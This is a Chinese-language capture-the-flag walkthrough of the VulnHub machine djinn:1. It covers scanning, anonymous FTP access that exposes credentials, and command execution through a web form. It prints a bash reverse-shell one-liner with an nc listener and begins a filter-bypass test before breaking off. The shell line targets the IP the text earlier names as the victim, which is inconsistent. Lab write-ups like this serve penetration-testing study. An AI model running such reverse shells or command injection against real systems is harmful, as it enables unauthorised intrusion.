About djinn: 1
描述
- 难度级别:中等
- Flag:user.txt和root.txt
- 说明:该计算机是VirtualBox以及VMWare兼容的。DHCP将自动分配IP。您将在登录屏幕上看到该IP地址。您必须找到并读取分别在user.txt和root.txt中存在的两个Flag(user和root)
- 格式:虚拟机(Virtualbox-OVA)
- 操作系统:Linux
屏幕截图
下载地址
djinn.ova (Size: 1.9 GB)
- Download: https://drive.google.com/file/d/1LlT5JcdlyDUcvkn12t9oIIFo0X9Gt53B/view?usp=sharing
- Download (Mirror): https://download.vulnhub.com/djinn/djinn.ova
- Download (Torrent): https://download.vulnhub.com/djinn/djinn.ova.torrent ( Magnet)
信息收集
主机发现
首先我们可以确认的是kali攻击机和dijnn靶机处于同一网段,查看Kali的IP地址,经过查看,Kali的ip地址为192.168.59.134
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.59.134 netmask 255.255.255.0 broadcast 192.168.59.255
inet6 fe80::20c:29ff:feb8:ee3 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:b8:0e:e3 txqueuelen 1000 (Ethernet)
RX packets 20 bytes 1642 (1.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 28 bytes 2400 (2.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 396 (396.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 396 (396.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
接下来使用nmap扫描同网段下存活主机,发现除了kali本机之外,还有一台ip地址为192.168.59.135的存活主机,经过推断应该就是dijnn靶机。
nmap -sn 192.168.59.0/24
端口扫描
紧接着,我们使用nmap对dijnn靶机进行端口扫描,发现目标主机开放了21,22,1337,7331端口。
nmap -sV -p 0-65535 192.168.59.135
端口信息收集
首先我们访问21端口的ftp服务,发现可以直接进行匿名登录。根目录中有三个txt文本文件,依次打开查看。
creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I\'ve setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don\'t mess up anything.
可以看到在game.txt中提示我们,1337端口上设置了一个游戏,打开浏览器查看发现链接被重置了,使用telnet访问试试看。发现这里告诉我们需要回答问题1000此才可以,那么这里需要写一个脚本,我们先把它放在一边,稍后查看。
通过端口扫描我们知道靶机上还开放了7331端口。并且运行了http服务,访问一下看看有什么收获。查看过后并没有发现什么有价值的信息。
目录扫描
接着,我们对运行http服务的7331端口进行目录扫描,看看能否发现隐藏的目录。
果不其然,通过目录扫描发现了“/wish”和“/genie”两个目录,依次访问一下。发现“/genie”目录报了403,没有访问权限;而“/wish“目录是一个类似命令执行的页面。
在输入框中输入“id",页面跳转到了“/genie”,并成功执行了命令。
漏洞利用
尝试利用
既然如此,我们直接向kali反弹一个shell不就可以了吗?在输入框中输入反弹shell的命令,并在kali端进行监听,发现命令并没有执行,并报出错误信息。推测应该是过滤了某些字符,使用burpsuite抓包看一下。
bash -i >& /dev/tcp/192.168.59.135/1234 0>&1
nc -lvvp 1234
抓包拦截后,发送到repeater模块进行bypass测试。发现这样一个问题:
cmd=whoami --> 可以执行
cmd=who/am/i --> 无法执行
这充分肯定了